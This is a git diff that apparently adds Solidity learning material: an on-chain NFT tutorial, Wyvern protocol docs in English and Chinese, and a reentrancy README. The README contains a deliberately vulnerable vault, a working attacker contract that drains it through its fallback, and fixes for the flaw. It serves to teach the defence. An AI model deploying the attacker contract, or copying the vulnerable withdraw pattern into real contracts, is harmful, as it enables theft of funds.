+As I said we will be leveraging an existing Base64.sol library from GitHub, you can find that repo here. You can import from github or simply clone/copy the code and import this file from the same directory you pasted this in.
+
+A note on encoding in Base64, encoding is not a form of data compression therefor we are not reducing the size of our data we are simply storing it in a format that our browser can decode. Our metadata is NOT prohibitively large, which is the case of our NFT image. You can see an example of this below:
+
+![](img/1.png)
+
+In our example code we leverage the function ‘BuildMetaData’ which takes a tokenId (the id of our NFT) and returns a base64 encoded json text string with everything OpenSea needs to render our NFT with its Name, Description, Attributres, and very importantly, our Image. It also leverages the BuildImage function that I will explain below.
+
+The following is a sample of our metadata:
+```
+{
+  "name":"NFT1", 
+  "description":"This is our on-chain NFT", 
+  "image": "data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iNTAwIiBoZWlnaHQ9IjUwMCIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cmVjdCBpZD0ic3ZnXzExIiBoZWlnaHQ9IjYwMCIgd2lkdGg9IjUwMyIgeT0iMCIgeD0iMCIgZmlsbD0iaHNsKDI5Myw1MCUsMjUlKSIvPjx0ZXh0IGZvbnQtc2l6ZT0iMTgiIHk9IjEwJSIgeD0iNSUiIGZpbGw9ImhzbCg5MCwxMDAlLDgwJSkiPlNvbWUgVGV4dDwvdGV4dD48dGV4dCBmb250LXNpemU9IjE4IiB5PSIxNSUiIHg9IjUlIiBmaWxsPSJoc2woOTAsMTAwJSw4MCUpIj5Tb21lIFRleHQ8L3RleHQ+PHRleHQgZm9udC1zaXplPSIxOCIgeT0iMjAlIiB4PSI1JSIgZmlsbD0iaHNsKDkwLDEwMCUsODAlKSI+U29tZSBUZXh0PC90ZXh0Pjx0ZXh0IGZvbnQtc2l6ZT0iMTgiIHk9IjEwJSIgeD0iODAlIiBmaWxsPSJoc2woOTAsMTAwJSw4MCUpIj5Ub2tlbjogMTwvdGV4dD48dGV4dCBmb250LXNpemU9IjE4IiB5PSI1MCUiIHg9IjUwJSIgdGV4dC1hbmNob3I9Im1pZGRsZSIgZmlsbD0iaHNsKDkwLDEwMCUsODAlKSI+dXNlclRleHQ8L3RleHQ+PC9zdmc+", 
+  "attributes": [
+    {
+      "trait_type": "TextColor",
+      "value":"328"
+    }
+  ]
+}
+```
+
+Typically our ‘image’ value would look something like this:
+
+```
+{
+"image": "ipfs://QmWwMDLz6hQKCqjYba5cSHdrNUvPvAdndtaWjdFpm52GYm/1.gif"
+}
+```
+
+So whats up with our Image value? This looks like it is also Base64 encoded… Well, you are right our Image value is 1 — SVG and 2 — the SVG is also Base64 encoded; this means our SVG text has been encoded just like our json (text) data.
+
+You will notice that we append something to our encoded json and it looks like this:
+
+> “data:application/json;base64,”
+
+This simply describes what the data is, and therefore how the recipient, or recipients browser can DECODE it accordingly.
+### ABI Encoding
+You likely noticed that we also perform ABI encoding throughout our project code. ABI encoding or Application Binary Interface in our case will simply allows us to concatenate multiple lines of text. “This”, “is”, “my”, “code” will cause errors if it is not encoded into a single string.
+### SVG files
+So what is SVG and why does it matter to us? [SVG or scalable vector graphics](https://www.w3schools.com/graphics/svg_intro.asp) essentially allows us to store images in a xml type format, or as text; text that can be stored on-chain. Rather than store large image data, we describe our intend image in text and encode this in a way our browser, and OpenSea, can render for us. We can set all kinds of features of our image including size, color and even text that can be rendered for us.
+
+Think about it this way, if I want to send you a simple image I can either email or text you a high resolution PNG, or you could simply describe it in a few words and let your recipient render or generate it for you. If date or the transmission of data is expensive we can make a ‘trade off’ by reducing that cost via increasing the cost, as effort, by the recipient.
+
+The following text description is likely much less data intensive to relay, then a high def PNG. As long as the recipient has the tools to easily render this we have just dramatically reduced the cost in terms of data storage or transmission:
+
+> “500x500 size blue background with white text saying ‘Hello World’”
+
+Our sample code describes the parameters for our SVG in the function BuildImage.
+There are many great online tools and templates for SVG generation, I encourage you to find some tooling that helps make your idea a SVG reality.
+
+One thing I will advise is to make sure you use percentages for layout, as with app development ‘hard coding’ values can cause us problems when we increase or reduce the size of of the screen on which we render. 1000 pixels for a starting point of our text may be fine, until we reduce the screen size of our device below 1000x1000, in this case we would be better suites to have set this to 80%.
+
+Our SVG, before ABI and Base64 encoding:
+
+```
+'<svg width="500" height="500" xmlns="http://www.w3.org/2000/svg">',
+'<rect id="svg_11" height="600" width="503" y="0" x="0" fill="hsl(',
+currentWord.bgHue,
+',50%,25%)"/>',
+'<text font-size="18" y="10%" x="5%" fill="hsl(',
+random,
+',100%,80%)">Some Text</text>',
+'<text font-size="18" y="15%" x="5%" fill="hsl(',
+random,
+',100%,80%)">Some Text</text>',
+'<text font-size="18" y="20%" x="5%" fill="hsl(',
+random,
+',100%,80%)">Some Text</text>',
+'<text font-size="18" y="10%" x="80%" fill="hsl(',
+random,
+',100%,80%)">Token: ',
+_tokenId.toString(),
+"</text>",
+'<text font-size="18" y="50%" x="50%" text-anchor="middle" fill="hsl(',
+random,
+',100%,80%)">',
+currentWord.value,
+"</text>",
+"</svg>"
+```
+
+The output of our SVG BuildImage can be seen here:
+
+![](img/2.png)
+
+You will once again notice that we have appended details with regard to the data:
+> “data:image/svg+xml;base64”
+
+### User Input
+One of the more interesting features of our smart contract is the ability for user to contribute to the final NFT by inputing some text data into the mint function. This user input is saved as a ‘memory string’ and later added to our SVG data dynamically via the BuildImage function.
+
+I have limited the size of the text input and added an error for this restriction but otherwise the user has full range on what they might add. This is immutable and will live on the blockchain forever— this may cause some to want to restrict certain words but in accordance with the democratized nature of the blockchain technology, I have placed no further limitations or censorship.
+
+Our mint function achieves this feature simply by adding a string expectation on the function:
+```
+function mint(string memory _userText) public payable {
+    uint256 supply = totalSupply();
+    bytes memory strBytes = bytes(_userText);
+    require(strBytes.length <= stringLimit, "String input exceeds limit.");
+    require(exists(_userText) != true, "String already exists!");
+    
+    Word memory newWord = Word(
+        string(
+            abi.encodePacked(
+                "NFT",
+                uint256(supply + 1).toString()
+            )
+        ),
+        "This is our on-chain NFT",
+        randomNum(361, block.difficulty, supply).toString(),
+        randomNum(361, block.timestamp, supply).toString(),
+        _userText
+    );
+
+    if (msg.sender != owner()) {
+        require(msg.value >= 0.005 ether);
+    }
+
+    wordsToTokenId[supply + 1] = newWord; //Add word to mapping @tokenId
+    _safeMint(msg.sender, supply + 1);
+}
+```
+### Interacting with our NFT & Smart Contract
+If you are using a tool such as Remix you can simply alter the code provided, upload this to Remix, compile and deploy to test.
+
+Being that our mint function expect user input string data, you will be able to add text and then leverage our tokenURI function to see what is produced, this is the same tokenURI function that marketplaces like OpenSea will leverage to retrieve OR resolve our NFT data and image.
+
+![](img/3.png)
+
+So what do we do with this? To render this in your browser you will want to copy everything AFTER ‘string’ (we don’t need this) and paste this in our browser. The result of pasting this into our browser will look like this:
+
+![](img/4.png)
+
+
+Further, we can see our image by copying the “image” value, the part we want to copy is highlighted here:
+
+![](img/5.png)
+
+And the result can be seen here:
+
+![](img/6.png)
+
+### Our NFT
+With that, we have created a smart contract that will allow users to enter text at the time of mint, generate SVG data that includes our user input, encode this into Base64, and add this into our metadata that is also base64 encoded. The result, an on-chain NFT that will render in marketplaces like OpenSea as such:
+
+![](img/7.png)
+
+### **A note on Remix
+If you choose to test your code on Remix you may find you run into a timeout error when you attempt to run tokenURI — this is due to the limitations of the online JVM and can be solved by simply switching your ‘Environment’ setting to ‘Injected web3’. I personally use the Rinkeby test net with my Metamask browser wallet. You will need Rinkeby testnet Eth for gas from a Rinkeby faucet.
+
+![](img/8.png)
+
+Rinkeby is a great way to test and successful mint will actually mean you can view your NFTs on the [Rinkeby OpenSea instance](https://rinkeby.opensea.io/) , essentially a clone of OpenSea.
+Happy testing!
+### Video
+For an extremely detailed walkthrough of very similar code, although without user input functionality at the mint, please check out the following [youtube video](https://www.youtube.com/watch?v=UBGXFV1TQxc) and follow [Hashlips’ Channel](https://www.youtube.com/channel/UC1LV4_VQGBJHTJjEWUmy8nA) where you will find all kinds of excellent NFT content.
\ No newline at end of file
diff --git a/nft/loot-nft/img/1.png b/nft/loot-nft/img/1.png
new file mode 100644
index 000000000..7c5cad763
Binary files /dev/null and b/nft/loot-nft/img/1.png differ
diff --git a/nft/loot-nft/img/2.png b/nft/loot-nft/img/2.png
new file mode 100644
index 000000000..9e4049b75
Binary files /dev/null and b/nft/loot-nft/img/2.png differ
diff --git a/nft/loot-nft/img/3.png b/nft/loot-nft/img/3.png
new file mode 100644
index 000000000..a95252dc3
Binary files /dev/null and b/nft/loot-nft/img/3.png differ
diff --git a/nft/loot-nft/img/4.png b/nft/loot-nft/img/4.png
new file mode 100644
index 000000000..35367411a
Binary files /dev/null and b/nft/loot-nft/img/4.png differ
diff --git a/nft/loot-nft/img/5.png b/nft/loot-nft/img/5.png
new file mode 100644
index 000000000..9e4049b75
Binary files /dev/null and b/nft/loot-nft/img/5.png differ
diff --git a/nft/loot-nft/img/6.png b/nft/loot-nft/img/6.png
new file mode 100644
index 000000000..4ed949cf4
Binary files /dev/null and b/nft/loot-nft/img/6.png differ
diff --git a/nft/loot-nft/img/7.png b/nft/loot-nft/img/7.png
new file mode 100644
index 000000000..0019af4e1
Binary files /dev/null and b/nft/loot-nft/img/7.png differ
diff --git a/nft/loot-nft/img/8.png b/nft/loot-nft/img/8.png
new file mode 100644
index 000000000..450df0e52
Binary files /dev/null and b/nft/loot-nft/img/8.png differ
diff --git a/nft/opensea/WyvernProtocolV3-cn.md b/nft/opensea/WyvernProtocolV3-cn.md
new file mode 100644
index 000000000..b9ad72e0f
--- /dev/null
+++ b/nft/opensea/WyvernProtocolV3-cn.md
@@ -0,0 +1,85 @@
+## 翻译说明
+
+> * 对于翻译中不明确的词汇会将原词汇跟随在翻译词汇后。
+
+## 协议组件
+
+协议、组成部分和术语的概述。
+
+### 概述
+
+Wyvern 是一阶(first-order)去中心化交换协议。可比较的现有零阶(zeroeth-order)协议，例如[Etherdelta](https://github.com/etherdelta/smart_contract)、[0x](https://github.com/0xProject/0x-monorepo)和[Dexy](https://github.com/DexyProject/protocol)：每个订单指定了两个离散资产（通常是特定比率和最大数量的两个代币）的所需交易。相对于零阶协议，Wyvern 订单改为指定状态转换的谓词：订单是一个函数，将订单构建者(maker)发出的调用、交易的另一方发出的调用和订单元数据映射到布尔值（订单是否匹配）。这些谓词是任意的——以太坊上可表示的任何资产或资产的任何组合都可以用 Wyvern 订单进行交换——事实上，Wyvern 可以实例化所有上述协议。
+
+优势
+
+- 非常灵活: 可以表达任何订单简化协议可以表达的和很多他们不能表达的
+- 接近最佳的gas效率：大多数gas消耗在实际调用和calldata谓词中
+- Security-conducive: constituent protocol components are isolated, core protocol is minimal
+- 安全：协议组件是隔离的，核心协议是最小化的。
+
+缺点
+
+- 对开发人员不是很友好并且容易被滥用
+- Not as well-supported by user-level tooling (e.g. Metamask displaying signed messages)
+- 没有得到用户级工具的良好支持(例如Metamask显示消息签名信息)
+
+### 订单架构
+
+```
+struct Order {
+    address registry;
+    address maker;
+    address staticTarget;
+    bytes4  staticSelector;
+    bytes   staticExtradata;
+    uint256 maximumFill;
+    uint256 listingTime;
+    uint256 expirationTime;
+    uint256 salt;
+}
+```
+
+| Name            | Type    | Purpose                                           |
+| --------------- | ------- | ------------------------------------------------- |
+| registry        | address | 用来调用的注册表(记录如何调用)                    |
+| maker           | address | Order maker, who will execute the call 订单创建者 |
+| staticTarget    | address | 谓词函数的目标地址                                |
+| staticSelector  | bytes4  | 谓词函数的Selector(函数签名的hash)                |
+| staticExtradata | bytes   | 谓词函数的额外数据                                |
+| maximumFill     | uint256 | 订单无法被匹配的最大填充                          |
+| listingTime     | uint256 | 在listingTime之前，订单无法被匹配                 |
+| expirationTime  | uint256 | 在这个时间之后订单无法被匹配                      |
+| salt            | uint256 | 用于hash去重                                      |
+
+All fields are signed over.
+
+### 构造一个订单
+
+#### 资产注册
+
+订单创建者会检查他和他的交易伙伴使用了有效的注册中心(尽管注册中心在交易所合约的在白名单中)
+
+#### 资产calldata
+
+一个订单的大部分逻辑是在构造调用和交易伙伴调用的谓词. 每个订单的静态回调(谓词函数)接收调用的所有参数，交易对手调用，和订单元数据(Ether数量，时间戳，匹配地址)和必须决定是否来允许订单匹配，和填入多少钱。
+
+##### Call
+
+第一次调用是订单创建者通过代理合约来执行。静态回调接收所有的参数 - 调用目标、调用类型(CALL 或 DELEGATECALL)，和调用数据 - 并且必须验证这个调用是是订单创建者期望的那样(转账特定资产或者一系列资产)。
+
+##### Countercall
+
+第二次调用被交易对手调用，为方便起见，在源代码中成为反调用。静态回调接收所有的参数 - 反调用目标，反调用类型(CALL 或 DELEGATECALL)，和反调用数据 - 并且必须验证调用时订单创建者期望接收到的(转移一个特定的资产或者一系列资产)
+
+#### Asserting state
+
+静态调用在调用滞后被执行(如果静态调用失败整个交易被revert)，所以你可以断言特定状态的变更，而不是断言calldata的属性 --例如 一个账户现在拥有一些资产。在某些情况下可能更有效，但它会导致意外结果如果状态因为其他原因变更了(例如，如果你正在尝试去买的资产被送给你) - 所以仅在特殊情况下才推荐使用这种方法，例如放一个bug赏金在合约上如果不变量被违背了。
+
+#### Metadata
+
+Metadata 包含订单listing时间，订单过期时间，对手订单listing时间，调用中Ether转账数量，当前订单填入的值和匹配地址
+
+#### Generalized Partial Fill
+
+订单在一个最大填充上签名，并且静态调用在订单匹配的情况下返回一个无符号整型来指定被更新的填充值。当前的订单填充能被订单的创建者通过交易手动设置(这也允许取消订单)。要注意的是，设置订单的填充为非空值也会隐式的授权订单，因为对部分填充的订单的授权会被缓存以避免不必要的签名检查。
+
diff --git a/nft/opensea/WyvernProtocolV3.md b/nft/opensea/WyvernProtocolV3.md
new file mode 100644
index 000000000..a1af660d6
--- /dev/null
+++ b/nft/opensea/WyvernProtocolV3.md
@@ -0,0 +1,121 @@
+# Protocol Components
+
+Overview of the protocol, constituent components, and terminology.
+
+[SUGGEST EDITS](https://wyvernprotocol.com/docs)
+
+### Overview
+
+Wyvern is a first-order decentralized exchange protocol. Comparable existing protocols such as [Etherdelta](https://github.com/etherdelta/smart_contract), [0x](https://github.com/0xProject/0x-monorepo), and [Dexy](https://github.com/DexyProject/protocol) are zeroeth-order: each order specifies a desired trade of two discrete assets (generally two tokens in a particular ratio and a maximum amount). Wyvern orders instead specify predicates over state transitions: an order is a function mapping a call made by the maker, a call made by the counterparty, and order metadata to a boolean (whether or not the order will match). These predicates are arbitrary - any asset or any combination of assets representable on Ethereum can be exchanged with a Wyvern order - and indeed, Wyvern can instantiate all the aforementioned protocols.
+
+Advantages
+
+- Extremely flexible: can express any orders simpler protocols can express, and many they cannot
+- Near-optimally gas-efficient: most gas consumption is in the actual calls and in the calldata predicates
+- Security-conducive: constituent protocol components are isolated, core protocol is minimal
+
+Disadvantages
+
+- Not (quite) as developer-friendly; a bit easier to misuse
+- Not as well-supported by user-level tooling (e.g. Metamask displaying signed messages)
+
+### Order schema
+
+```
+struct Order {
+    address registry;
+    address maker;
+    address staticTarget;
+    bytes4  staticSelector;
+    bytes   staticExtradata;
+    uint256 maximumFill;
+    uint256 listingTime;
+    uint256 expirationTime;
+    uint256 salt;
+}
+```
+
+| Name            | Type    | Purpose                                                      |
+| --------------- | ------- | ------------------------------------------------------------ |
+| registry        | address | Registry to be used for the call                             |
+| maker           | address | Order maker, who will execute the call                       |
+| staticTarget    | address | Target address for predicate function                        |
+| staticSelector  | bytes4  | Selector (hash of function signature) for predicate function |
+| staticExtradata | bytes   | Extra data for predicate function                            |
+| maximumFill     | uint256 | Maximum fill, after which the order cannot be matched        |
+| listingTime     | uint256 | Order listing time, before which the order cannot be matched |
+| expirationTime  | uint256 | Order expiration time, after which the order cannot be matched |
+| salt            | uint256 | Order salt for hash deduplication                            |
+
+All fields are signed over.
+
+### Constructing an order
+
+#### Asserting registry
+
+The order maker may check that they and their counterparty are using valid registries (though registries are also whitelisted in the Exchange contract).
+
+#### Asserting calldata
+
+The bulk of the logic in an order is in constructing the predicate over the call and countercall. Each order's static callback (predicate function) receives all parameters of the call, counterparty call, and order metadata (Ether value, timestamp, matching address) and must decide whether to allow the order to match, and if so how much to fill it.
+
+##### Call
+
+The first call is executed by the maker of the order through their proxy contract. The static callback receives all parameters - the call target, the call type (`CALL` or `DELEGATECALL`), and the call data - and must validate that the call is one which the maker is willing to perform (e.g. transferring a particular asset or set of assets).
+
+##### Countercall
+
+The second call is executed by the counterparty and referred to in the source as the "countercall" for convenience. The static callback receives all parameters - the countercall target, the countercall type (`CALL` or `DELEGATECALL`), and the countercall data - and must validate that the call is one which the maker is willing to accept in return for their own (e.g. transferring a particular asset or set of assets).
+
+#### Asserting state
+
+Static calls are executed *after* the calls (the whole transaction is reverted if the static call fails), so instead of asserting properties of the calldata, you can assert that particular state has changed - e.g. that an account now owns some asset. In some cases this may be more efficient, but it is trickier to reason through and could lead to unintentional consequences if the state changed for other reasons (for example, if the asset you were trying to buy were gifted to you) - so this is recommended for special cases only, such as placing a bug bounty on a contract if an invariant is violated.
+
+#### Metadata
+
+Metadata contains order listing time, order expiration time, counterorder listing time, Ether passed in the call (if any), current order fill value, and the matching address.
+
+#### Generalized Partial Fill
+
+Orders sign over a maximum fill, and static calls return a uint, which specifies the updated fill value if the order is matched. The current fill of an order can also be manually set by the maker of the order with a transaction (this also allows for order cancellation). Note that setting the fill of an order to a nonzero value also implicitly authorizes the order, since authorization of partially filled orders is cached to avoid unnecessary signature checks.
+
+### Authorizing an order
+
+Orders must always be authorized by the `maker` address, who owns the proxy contract which will perform the call. Authorization can be done in three ways: by signed message, by pre-approval, and by match-time approval.
+
+#### Signed message
+
+The most common method of authorizing an order is to sign the order hash off-chain. This is costless - any number of orders can be signed, stored, indexed, and perhaps listed on a website or automated orderbook. To avoid the necessity of cancelling no-longer-desired orders, makers can sign orders with expiration times in the near future and re-sign new orders for only as long as they wish to continue soliciting the trade.
+
+#### Pre-approval
+
+Alternatively, an order can be authorized by sending a transaction to the `WyvernExchange` contract. This method may be of particular interest for orders constructed by smart contracts, which cannot themselves sign messages off-chain. On-chain authorization emits an event which can be easily indexed by orderbooks who may wish to include the order in their database.
+
+#### Match-time approval
+
+Finally, an order can be constructed on the fly (likely to match an existing previously signed or approved order) and authorized at match time simply by sending the match transaction from the order's `maker` address. If the maker intends to send the transaction matching the order themselves, this method may be convenient, and it can be used to save a bit of gas (since calldata verification is implied by sending the transaction).
+
+### Matching orders
+
+#### Constructing matching calldata
+
+Matching calldata can be constructed in any fashion off-chain. The protocol does not care how the final calldata is obtained, only that it fulfills the orders' predicate functions. In practice, orderbook maintainers (relayers) will likely store additional metadata along with orders which can be used to construct possible matching calldatas.
+
+#### Asymmetries
+
+To the extent possible, the protocol is designed to be symmetric, such that orders need not be on any particular "side" and restrict themselves to matching with orders on the other "side".
+
+##### Call ordering
+
+The first asymmetry is ordering. One call must be executed first, and executing that call might change the result of the second call. The first call passed into `atomicMatch` is executed first.
+
+##### Special-cased Ether
+
+The second asymmetry is special-cased Ether. Due to Ethereum design limitations, Ether is a wired-in asset (unlike ERC20 tokens) which can only be sent from an account by a transaction from said account. To facilitate ease-of-use, Wyvern supports special-case Ether to the maximum extent possible: the matcher of an order may elect to pass value along with the match transaction, which is then transferred to the counterparty and passed as a parameter to the predicate function (which can assert e.g. that a particular amount was sent).
+
+#### Miscellaneous
+
+##### Self-matching
+
+Orders cannot be self-matched; however, two separate orders from the same maker can be matched with each other.
+
diff --git a/nft/opensea/readme.md b/nft/opensea/readme.md
new file mode 100644
index 000000000..68c8fee98
--- /dev/null
+++ b/nft/opensea/readme.md
@@ -0,0 +1,27 @@
+# OpenSea 
+
+* [opensea文档](https://docs.opensea.io/docs/1-structuring-your-smart-contract)
+* [opensea github](https://github.com/ProjectOpenSea/opensea-creatures)
+* [etherscan code](https://etherscan.io/address/0x7be8076f4ea4a4ad08075c2508e481d6c946d12b#code)
+
+
+
+## Wyvern
+
+* [WyvernProtocol V3 github](https://github.com/wyvernprotocol/wyvern-v3)
+* [WyvernProtocol V3 Official Website](https://wyvernprotocol.com/docs)
+* [WyvernProtocol V3 Official Website Translate](./WyvernProtocolV3.md)
+
+
+
+
+
+## 工作进度
+
+- [ ] **processing** -> Protocol translate
+- [ ] Protocol流程图
+- [ ] OpenSea站的工作流程
+
+## 参考链接 
+NFT及OpenSea交易背后的技术分享： https://mirror.xyz/xing824.eth/O3hpbibMf9vLNz6p80YUriU8Bf3bEaJWvRL49FGAgAc
+
diff --git a/nft/readme.md b/nft/readme.md
new file mode 100644
index 000000000..4a7f483e8
--- /dev/null
+++ b/nft/readme.md
@@ -0,0 +1,50 @@
+# NFT (Non-Fungible Token)
+
+NFT (非同质化代币) 是区块链上的唯一数字资产。它们可以代表艺术品、虚拟土地、收藏品等，为数字资产的真实性和所有权提供保障。
+
+## 标准
+
+1. **[EIP-721: Non-Fungible Token Standard](https://eips.ethereum.org/EIPS/eip-721)**  
+   - 描述了非同质化代币的标准接口，实现了不同 NFT 的唯一性和不可分割性。
+2. **[EIP-721 OpenZeppelin 实现](https://learnblockchain.cn/article/3041)**  
+   - OpenZeppelin 提供的 EIP-721 实现，可帮助开发者轻松创建和管理 NFT。
+3. **[EIP-1155: Multi Token Standard](https://eips.ethereum.org/EIPS/eip-1155)**  
+   - 支持在同一合约中创建和管理多种资产类型，包括同质化代币和非同质化代币，优化了批量转移和交易的效率，适用于游戏、收藏品等应用场景。
+4. **[EIP-1155 OpenZeppelin 实现](https://docs.openzeppelin.com/contracts/4.x/erc1155)**  
+   - OpenZeppelin 提供的 EIP-1155 实现简化了多种类型 NFT 的创建和管理，适用于复杂的多代币应用。
+
+## NFT 安全事件
+
+### 已知漏洞与攻击
+1. **[SupDuck Hack](https://learnblockchain.cn/article/2939)**  
+   - 详细分析了 SupDuck 项目中出现的漏洞及其利用方法。
+2. **[Hashmask Hack](https://learnblockchain.cn/article/2885)**  
+   - 研究 Hashmask 的安全漏洞，以及攻击者如何利用合约中的漏洞获取收益。
+
+## NFT 查询平台
+
+以下平台支持查询 NFT 市场和各类项目的实时数据：
+- [Nonfungible](https://nonfungible.com) - 提供 NFT 市场数据与分析。
+- [CoinMarketCap NFT](https://coinmarketcap.com/zh/nfts/) - 支持主流 NFT 项目的价格跟踪和排行榜。
+- [非小号](https://www.feixiaohao.com/concept/41.html) - 中文加密货币查询平台。
+- [FTX.US NFT](https://ftx.us/nfts) - 提供 FTX 交易所的 NFT 交易信息。
+
+## 参考资源
+
+### 工具与概览
+- **[NFT 工具推荐](https://mp.weixin.qq.com/s/DrLCx2L7PgjsAWoYnF8Ysw)** - 一些常用的 NFT 创建、管理和交易工具。
+- **[NFT 快速概览](https://andrewsteinwold.substack.com/p/-quick-overview-of-the-nft-ecosystem)** - NFT 生态系统的简要概述，介绍了 NFT 市场的主要参与者和趋势。
+
+### 行业动态与发展
+- **[SocialFi 的发展](https://inewsdb.com/...)** - 介绍 SocialFi 的兴起，以及它在 NFT 领域的应用。
+- **[Awesome NFT 项目合集](https://thedailyape.notion.site/...)** - 汇总了值得关注的 NFT 项目，包括创新的 NFT 应用。
+- **[实时 NFT 评估](https://upshot.io/)** - 提供实时的 NFT 估值服务。
+- **[NFT 去中心化自治组织](https://blog.blackpool.finance/)** - 介绍 NFT 领域内的去中心化自治组织（DAO）。
+- **[NFT 游戏](https://axie.substack.com/p/axs-strategic-sale)** - 以 Axie Infinity 为例，讨论 NFT 游戏的经济系统。
+
+### 技术见解与观点
+- **[NFT收藏家6529 的见解](https://twitter.com/punk6529/status/1429399888786333697)** - 6529 号收藏家关于 NFT、监管及其收藏策略的见解。
+- **[元宇宙相关研究](https://arxiv.org/abs/2110.05352)** - 有关元宇宙与 NFT 结合的学术论文。
+- **[从0到1: 精通 NFT](https://www.yuque.com/books/share/a8a2de86-76de-4531-8486-ac3d40944557)** - 系统性的 NFT 入门与进阶学习资源。
+- **[从表象到本质，包你一文看懂NFT](https://mp.weixin.qq.com/s/2lGKT2O4Z1vBuNpnKwlSyA)** - 深入解析 NFT 的原理和未来发展方向。
+- **[NFT及OpenSea交易技术分享](https://mirror.xyz/xing824.eth/O3hpbibMf9vLNz6p80YUriU8Bf3bEaJWvRL49FGAgAc)** - 介绍 OpenSea 背后的技术架构与交易原理。
diff --git a/package.json b/package.json
new file mode 100644
index 000000000..8dc122987
--- /dev/null
+++ b/package.json
@@ -0,0 +1,42 @@
+{
+  "name": "Dapp-Learning",
+  "version": "1.0.0",
+  "description": "This project is designed for people who have developed some foundational understandings of blockchain DAPP to further their knowledge in DeFi, NFT, DAO, CRYPTO projects.",
+  "author": "Dapp-Learning",
+  "keywords": [
+    "dapp",
+    "blockchain",
+    "ethereum",
+    "web3",
+    "Crypto",
+    "Solidity",
+    "Defi",
+    "DAO"
+  ],
+  "license": "MIT",
+  "dependencies": {
+    "create-next-app": "^12.3.1",
+    "elliptic": "^3.0.4"
+  },
+  "devDependencies": {
+    "@commitlint/config-conventional": "^19.1.0",
+    "commitlint": "^19.2.1",
+    "hardhat": "^2.22.6",
+    "husky": "^9.0.11",
+    "lint-staged": "^15.2.2",
+    "prettier": "^3.2.5",
+    "prettier-plugin-solidity": "^1.3.1",
+    "solhint": "^4.5.2"
+  },
+  "scripts": {
+    "prepare": "husky"
+  },
+  "lint-staged": {
+    "*.sol": [
+      "solhint",
+      "prettier --write --plugin=prettier-plugin-solidity"
+    ],
+    "*.{js,jsx,ts,tsx}": "prettier --write",
+    "*.md": "prettier --write"
+  }
+}
diff --git a/security/1-reentrancy/theDAO/.gitignore b/security/1-reentrancy/theDAO/.gitignore
new file mode 100644
index 000000000..36077f288
--- /dev/null
+++ b/security/1-reentrancy/theDAO/.gitignore
@@ -0,0 +1,9 @@
+node_modules
+.env
+coverage
+coverage.json
+typechain
+
+#Hardhat files
+cache
+artifacts
diff --git a/security/1-reentrancy/theDAO/README.md b/security/1-reentrancy/theDAO/README.md
new file mode 100644
index 000000000..087725ea9
--- /dev/null
+++ b/security/1-reentrancy/theDAO/README.md
@@ -0,0 +1,205 @@
+# Reentrancy
+
+A reentrancy attack can lead to significant asset loss. How does this attack occur? Essentially, when Contract A calls Contract B, if Contract B calls back into a function in Contract A, it exposes a potential vulnerability.
+
+Here’s an example of poorly designed code:
+
+```solidity
+import "./IVault.sol";
+import "hardhat/console.sol";
+
+contract BuggyVault is IVault {
+    mapping(address => uint256) public balances;
+    
+    function deposit() external override payable {
+        balances[msg.sender] += msg.value;
+    }
+
+    function withdraw() external override {
+        address payable target = payable(msg.sender);
+        (bool success,) = target.call{gas:500000, value:balances[msg.sender]}("");
+        console.log(success);
+        balances[msg.sender] = 0;
+    }
+}
+```
+
+If a malicious contract includes a harmful `receive()` or `fallback()` function:
+
+```solidity
+pragma solidity ^0.8.7;
+
+import "./IVault.sol";
+import "hardhat/console.sol";
+
+contract Malicious {
+    IVault public vault;
+
+    constructor(IVault _vault) {
+        vault = _vault;
+    }
+
+    function addDeposit() external payable {
+        vault.deposit{value: msg.value}();
+    }
+
+    function withdrawFromVault() external {
+        vault.withdraw();
+    }
+
+    fallback() external payable {
+        vault.withdraw();
+    }
+}
+```
+
+When the malicious contract calls the `withdraw()` function of `BuggyVault`, funds are transferred to the malicious contract’s `receive()` function, triggering repeated `withdraw()` calls and continuously transferring Ether to the malicious contract.
+
+While reentrancy attacks can cause significant loss, using `transfer` or `send` instead of `call` can prevent such attacks.
+
+- **Using `transfer`**: `transfer` has a gas limit of 2300, which is enough to trigger an event, and if the transfer fails, it reverts the transaction.
+- **Using `send`**: `send` also has a 2300 gas limit, but it does not revert on failure, so attackers cannot withdraw any Ether if they don’t have sufficient balance in the Vault.
+
+## Analysis
+
+The causes of a reentrancy attack include the following factors:
+- **Existence of a reentrancy path**: The `withdraw()` function of `BuggyVault` calls into the malicious contract, which activates its `fallback()` function to re-enter `withdraw()`.
+- **Lack of balance check**: No balance verification is done before the transfer.
+- **Insufficient gas restriction**: `call` provides ample gas by default, enabling the malicious contract to execute the attack.
+- **No transfer result check**: `call` doesn’t trigger an error on failed transfers, so it’s essential to verify whether the transfer succeeded.
+
+## Best Practices
+
+Based on the analysis, the following measures can prevent reentrancy attacks:
+
+### Use a Reentrancy Guard (only when necessary)
+
+Prevent reentrant calls by using state flags. Libraries like OpenZeppelin provide this functionality. Refer to `SafeVault1.sol`:
+
+```solidity
+pragma solidity ^0.8.7;
+
+import "./IVault.sol";
+import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
+
+contract SafeVault1 is IVault, ReentrancyGuard {
+    mapping(address => uint256) public balances;
+    
+    function deposit() external override payable {
+        balances[msg.sender] += msg.value;
+    }
+
+    function withdraw() external override nonReentrant {
+        address payable target = payable(msg.sender);
+        (bool success,) = target.call{value: balances[msg.sender]}("");
+        balances[msg.sender] = 0;
+    }
+}
+```
+
+### Follow the "Check-Effect-Interaction" Pattern (recommended)
+
+The "Check-Effect-Interaction" pattern effectively prevents reentrancy attacks:
+
+1. **Check**: Strictly verify conditions.
+2. **Effect**: Update internal state.
+3. **Interaction**: Interact with external contracts.
+
+Here’s an example of `SafeVault2.sol`:
+
+```solidity
+pragma solidity ^0.8.7;
+
+import "./IVault.sol";
+
+contract SafeVault2 is IVault {
+    mapping(address => uint256) public balances;
+    
+    function deposit() external override payable {
+        balances[msg.sender] += msg.value;
+    }
+
+    function withdraw() external override {
+        // Check
+        require(balances[msg.sender] > 0, "Insufficient balance");
+        // Effect
+        uint256 balance = balances[msg.sender];
+        balances[msg.sender] = 0;
+        // Interaction
+        address payable target = payable(msg.sender);
+        (bool success,) = target.call{value: balance}("");
+        require(success, "Transfer failed");
+    }
+}
+```
+
+### Carefully Use `call` for Transfers (recommended)
+
+There are three ways to transfer funds:
+
+1. **`transfer`**: Calls `fallback()` or `receive()` with a 2300 gas limit and reverts on failure.
